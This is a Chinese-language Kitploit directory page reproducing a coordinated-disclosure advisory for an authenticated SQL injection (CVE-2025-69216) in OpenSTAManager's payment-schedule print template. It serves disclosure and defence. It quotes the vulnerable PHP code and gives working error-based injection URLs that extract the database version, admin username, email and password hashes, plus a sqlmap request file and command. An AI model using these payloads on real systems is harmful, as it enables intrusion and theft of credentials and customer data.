Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-69216 — CVE-2025-69216 - OpenSTAManager has a SQL Injection in Scadenzario Print Template | Kitploit
工具/GitHubGitHub/lukasz-rybak/cve-2025-69216
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHublukasz-rybak/cve-2025-69216

CVE-2025-69216

CVE-2025-69216 - OpenSTAManager has a SQL Injection in Scadenzario Print Template

查看仓库
4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-69216: OpenSTAManager 在 Scadenzario 打印模板中存在SQL注入漏洞

概述

字段详情
CVE IDCVE-2025-69216
严重级别高
安全公告查看公告
发现者Lukasz Rybak

受影响产品

  • devcode-it/openstamanager (版本: <= 2.9.8)

CWE 分类

  • CWE-89: 未对SQL命令中的特殊元素进行正确中和('SQL注入')

详情

摘要

OpenSTAManager 的 Scadenzario(付款计划)打印模板中存在一个经过身份验证的SQL注入漏洞,允许任何经过身份验证的用户从数据库中提取敏感数据,包括管理员凭据、客户信息和财务记录。该漏洞通过基于错误的SQL注入技术实现完全数据库读取访问。

详细说明

该漏洞存在于 templates/scadenzario/init.php 第46行,其中 id_anagrafica 参数未经适当清理就直接拼接到SQL查询中:

存在漏洞的代码:

root@kitploit:~
if (get('id_anagrafica') && get('id_anagrafica') != 'null') {
    $module_query = str_replace('1=1', '1=1 AND `co_scadenziario`.`idanagrafica`="'.get('id_anagrafica').'"', $module_query);
    $id_anagrafica = get('id_anagrafica');
}

get() 函数未经验证地从GET/POST参数中获取用户输入。该参数值通过字符串拼接直接嵌入到SQL查询字符串中,而未使用应用程序的 prepare() 清理函数,从而实现了SQL注入攻击。

根本原因:

  • 未使用 prepare() 函数进行输入清理
  • 直接在SQL查询构造中使用字符串拼接
  • 缺乏输入验证或类型检查

受影响的端点:

root@kitploit:~
/pdfgen.php?ptype=scadenzario&id_anagrafica=[INJECTION_PAYLOAD]

受影响的文件:

  • templates/scadenzario/init.php(第46行) - 主要漏洞
  • templates/scadenzario/init.php(第34、40行) - 类似模式,涉及日期参数
  • pdfgen.php - 模板渲染的入口点

PoC(概念验证)

前提条件

  • 有效的经过身份验证的会话(任意用户角色)

利用步骤

1. 确认漏洞 - 基本语法错误测试:

root@kitploit:~
 http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20--%20

应用程序响应中显示SQL语法错误

图片

2. 提取数据库版本 - 基于错误的SQL注入:

root@kitploit:~
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221

结果: ~8.3.0~ (MySQL版本)

图片

3. 提取数据库名称:

root@kitploit:~
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221

结果: ~openstamanager~

图片

4. 提取管理员用户名:

root@kitploit:~
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221

结果: ~admin~ 图片


5. 提取管理员邮箱:

root@kitploit:~
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20email%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221

结果: 管理员邮箱地址

图片

6. 提取密码哈希(部分 - XPATH 31字符限制):

root@kitploit:~
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221

结果: bcrypt 密码哈希

图片

7. 使用SQLMap进行自动化利用:

创建请求文件 sqli_osm.req:

root@kitploit:~
GET /pdfgen.php?ptype=scadenzario&id_anagrafica=1* HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=[SESSION_COOKIE]
User-Agent: Mozilla/5.0

运行SQLMap:

root@kitploit:~
sqlmap -r sqli_osm.req --level 3 --risk 3 --dbs

SQLMap已确认的注入类型:

  • ✅ 基于布尔的盲注
  • ✅ 基于错误的SQL注入 (MySQL >= 5.6 GTID_SUBSET)
  • ✅ 基于时间的盲注 (SLEEP)
图片

影响

受影响的对象:

  • ✅ 所有经过身份验证的用户 - 任何具有有效凭据的用户都可以利用此漏洞
  • ✅ 低权限用户 - 即使是拥有最小权限的用户也能访问管理员级别的数据
  • ✅ 所有OpenSTAManager安装 - 该漏洞存在于最新的master分支中

致谢

由 Łukasz Rybak 报告

参考文献

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-q6g3-fv43-m2w6
  • https://nvd.nist.gov/vuln/detail/CVE-2025-69216
  • https://github.com/advisories/GHSA-q6g3-fv43-m2w6

免责声明

本CVE已按照协调漏洞披露规范进行负责任地披露。此处提供的信息仅供教育和防御目的使用。

下载工具